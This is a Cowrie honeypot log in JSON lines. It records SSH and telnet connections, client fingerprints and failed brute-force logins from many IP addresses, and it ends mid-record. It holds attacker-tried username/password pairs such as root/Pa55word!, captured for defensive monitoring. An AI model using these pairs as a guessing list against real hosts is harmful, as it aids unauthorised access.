{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:29:09.756715Z","src_ip":"103.199.16.90","session":"0d8ca2daa343","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"129.121.102.3","src_port":47500,"dst_ip":"10.17.0.5","dst_port":22,"session":"799671884a85","protocol":"ssh","message":"New connection: 129.121.102.3:47500 (10.17.0.5:22) [session: 799671884a85]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:29:10.289178Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:29:10.293362Z","src_ip":"129.121.102.3","session":"799671884a85","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:29:10.319135Z","src_ip":"129.121.102.3","session":"799671884a85","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"!QAZ2wsx#EDC4rfv","message":"login attempt [ubuntu/!QAZ2wsx#EDC4rfv] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:29:10.464294Z","src_ip":"129.121.102.3","session":"799671884a85","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"park","password":"park","message":"login attempt [park/park] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:29:10.641700Z","src_ip":"103.199.16.90","session":"0d8ca2daa343","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.65.58.200","src_port":48598,"dst_ip":"159.203.135.109","dst_port":22,"session":"177fd20e8643","protocol":"ssh","message":"New connection: 159.65.58.200:48598 (159.203.135.109:22) [session: 177fd20e8643]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:29:11.493177Z"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:29:11.497705Z","src_ip":"129.121.102.3","session":"799671884a85","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"190.244.39.224","src_port":46240,"dst_ip":"159.203.135.109","dst_port":22,"session":"09f62d40fc05","protocol":"ssh","message":"New connection: 190.244.39.224:46240 (159.203.135.109:22) [session: 09f62d40fc05]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:29:11.704664Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:29:11.712187Z","src_ip":"190.244.39.224","session":"09f62d40fc05","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:29:11.826270Z","src_ip":"159.65.58.200","session":"177fd20e8643","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:29:11.829187Z","src_ip":"159.65.58.200","session":"177fd20e8643","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:29:11.869035Z","src_ip":"103.199.16.90","session":"0d8ca2daa343","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:29:11.887430Z","src_ip":"190.244.39.224","session":"09f62d40fc05","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.38950252532959,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:29:12.280851Z","src_ip":"170.64.224.25","session":"17884b995298","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"Gf123456.","message":"login attempt [root/Gf123456.] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:29:12.601255Z","src_ip":"190.244.39.224","session":"09f62d40fc05","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"svrdn","password":"123456","message":"login attempt [svrdn/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:29:13.207347Z","src_ip":"159.65.58.200","session":"177fd20e8643","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:29:13.782729Z","src_ip":"190.244.39.224","session":"09f62d40fc05","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"68.207.224.247","src_port":54728,"dst_ip":"159.203.135.109","dst_port":22,"session":"84529615a09b","protocol":"ssh","message":"New connection: 68.207.224.247:54728 (159.203.135.109:22) [session: 84529615a09b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:29:13.851047Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:29:13.855240Z","src_ip":"68.207.224.247","session":"84529615a09b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:29:13.893591Z","src_ip":"68.207.224.247","session":"84529615a09b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"administrator","password":"1qaz@WSX","message":"login attempt [administrator/1qaz@WSX] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:29:14.070802Z","src_ip":"68.207.224.247","session":"84529615a09b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.0","message":"Connection lost after 3.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:29:14.531461Z","src_ip":"159.65.58.200","session":"177fd20e8643","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:29:15.109876Z","src_ip":"68.207.224.247","session":"84529615a09b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.243.11.39","src_port":36914,"dst_ip":"10.17.0.5","dst_port":22,"session":"0e17b2f0da53","protocol":"ssh","message":"New connection: 185.243.11.39:36914 (10.17.0.5:22) [session: 0e17b2f0da53]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:29:21.613577Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:29:21.617750Z","src_ip":"185.243.11.39","session":"0e17b2f0da53","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:29:21.710166Z","src_ip":"185.243.11.39","session":"0e17b2f0da53","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"borrow","password":"borrow2024","message":"login attempt [borrow/borrow2024] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:29:21.990454Z","src_ip":"185.243.11.39","session":"0e17b2f0da53","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"138.124.69.150","src_port":51014,"dst_ip":"10.17.0.5","dst_port":22,"session":"2b130c7ea27c","protocol":"ssh","message":"New connection: 138.124.69.150:51014 (10.17.0.5:22) [session: 2b130c7ea27c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:29:22.301148Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:29:22.305324Z","src_ip":"138.124.69.150","session":"2b130c7ea27c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:29:22.433746Z","src_ip":"138.124.69.150","session":"2b130c7ea27c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Pa55word!","message":"login attempt [root/Pa55word!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:29:22.985736Z","src_ip":"138.124.69.150","session":"2b130c7ea27c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:29:23.084683Z","src_ip":"185.243.11.39","session":"0e17b2f0da53","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:29:24.117295Z","src_ip":"138.124.69.150","session":"2b130c7ea27c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.144.249.8","src_port":46386,"dst_ip":"159.203.135.109","dst_port":22,"session":"bf024c962937","protocol":"ssh","message":"New connection: 162.144.249.8:46386 (159.203.135.109:22) [session: bf024c962937]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:29:24.783012Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:29:24.790037Z","src_ip":"162.144.249.8","session":"bf024c962937","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:29:24.816266Z","src_ip":"162.144.249.8","session":"bf024c962937","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jaxx","password":"S3cur3$P@ss!W0rd@","message":"login attempt [jaxx/S3cur3$P@ss!W0rd@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:29:24.897559Z","src_ip":"162.144.249.8","session":"bf024c962937","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:29:25.926705Z","src_ip":"162.144.249.8","session":"bf024c962937","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":43470,"dst_ip":"159.203.135.109","dst_port":23,"session":"8ea8e467bea0","protocol":"telnet","message":"New connection: 170.64.224.25:43470 (159.203.135.109:23) [session: 8ea8e467bea0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:29:32.786716Z"}
{"eventid":"cowrie.session.connect","src_ip":"211.106.137.135","src_port":36930,"dst_ip":"10.17.0.5","dst_port":22,"session":"44f05a163360","protocol":"ssh","message":"New connection: 211.106.137.135:36930 (10.17.0.5:22) [session: 44f05a163360]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:29:33.700936Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:29:33.706178Z","src_ip":"211.106.137.135","session":"44f05a163360","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc